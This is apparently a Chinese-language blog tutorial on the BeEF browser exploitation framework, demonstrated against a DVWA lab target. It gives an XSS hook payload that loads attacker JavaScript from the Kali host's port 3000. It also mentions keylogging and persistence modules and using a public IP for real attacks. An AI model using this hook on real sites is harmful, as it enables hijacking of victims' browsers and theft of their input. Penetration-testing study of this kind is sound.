Beefxss
https://github.com/beefproject/beef/
Linux( Ruby 2.5 + ,kali自带)
一款浏览器攻击框架,用 Ruby 语言开发的,Kali 中默认安装的一个模块,用于实现对 XSS 漏洞的攻击和利用。
BeEF是The Browser Exploitation Framework的缩写。它是一种专注于Web浏览器的渗透测试工具。
beef管理、挂钩web浏览器的过程:
生成交互paylaod的hook
服务器端:beef作为服务端管理,管理访问运行了hook的客户端
客户端:运行与客户端浏览器的 Javascript 脚本(hook),也就是beef生成的payload。
beef将运行了hook的web浏览器钩住,进行管理
总的来说:beef能配合xss,将hook插入到存在xss的注入处;直接诱使客户端访问含有 hook 的伪造站点,结合中间人攻击注入 hook 脚本
beef只支持Linux平台,Ruby的版本需要在2.5以上,kali中自带beef
下载:git clone https://github.com/beefproject/beef
安装配置查看:https://github.com/beefproject/beef/wiki/Installation
beef如果用于实战的话,需要建立连接的时候要使受害机能访问到beef,因此需要一个公网ip。
本地进行演示:
攻击机kali:192.168.157.134
靶机DVWA:192.168.157.129
1.更改beef的默认用户名密码
beef的配置文件:/etc/beef-xss/config.yaml
beef的默认用户名密码为beef、beef,如果需要更改beef的用户密码,则在配置文件里面更改user和passwd的值,(默认是修改密码的,不然启动的时候会报警告)。
2.启动
终端输入beef-xss即可启动beef服务端。
beef的服务端地址为:http://127.0.0.1:3000/ui/panel
,启动之后浏览器会自动打开网页,进入登录页面,用户密码为默认的beef,密码为你自己修改之后的密码
登录成功后,这里会显示在线的主机和不在线的主机。在线的就是现在该主机浏览器执行了我们的JS脚本代码,不在线的就是该主机曾经执行过我们的JS脚本代码,但是现在叉掉了该页面
3.插入脚本hook到靶机
然后我们的hook启动的时候已经给出:
[*] Web UI: http://127.0.0.1:3000/ui/panel
[*] Hook: <script src="http://<IP>:3000/hook.js"></script>
[*] Example: <script src="http://127.0.0.1:3000/hook.js"></script>
kali的地址为192.168.157.134,那么靶机上插入的hook js脚本为:
<script src="http://192.168.157.134:3000/hook.js"></script>
在靶机DVWA上找一个xss漏洞,将hook插入到注入点:
留言提交后,靶机的浏览器就被beef钩上了:
4、beef管理
在beef上上钩了的受害机,beef对其可以获取到很多主机、浏览器信息
1、Details是浏览器信息详情
2、logs模块-键盘记录
3、commands-命令模块
Commands是你能对该浏览器进行哪些操作
主要模块:
-Browsers(浏览器)
- Exploits(攻击)
- Host(主机)
- Persistence(持久)
- Network(网络)
绿色圆圈:表示模块适合目标浏览器,并且执行结果对客户端不可见
红色圆圈:表示模块不适用与当前用户,有些红色模块也可以正常执行
橙色圆圈:模块可用,但结果对用户可见(CAM 弹窗申请权限)
灰色圆圈:模块未在目标浏览器上测试过
打赏我,让我更有动力~
© 2016 - 2024 掌控者 All Rights Reserved.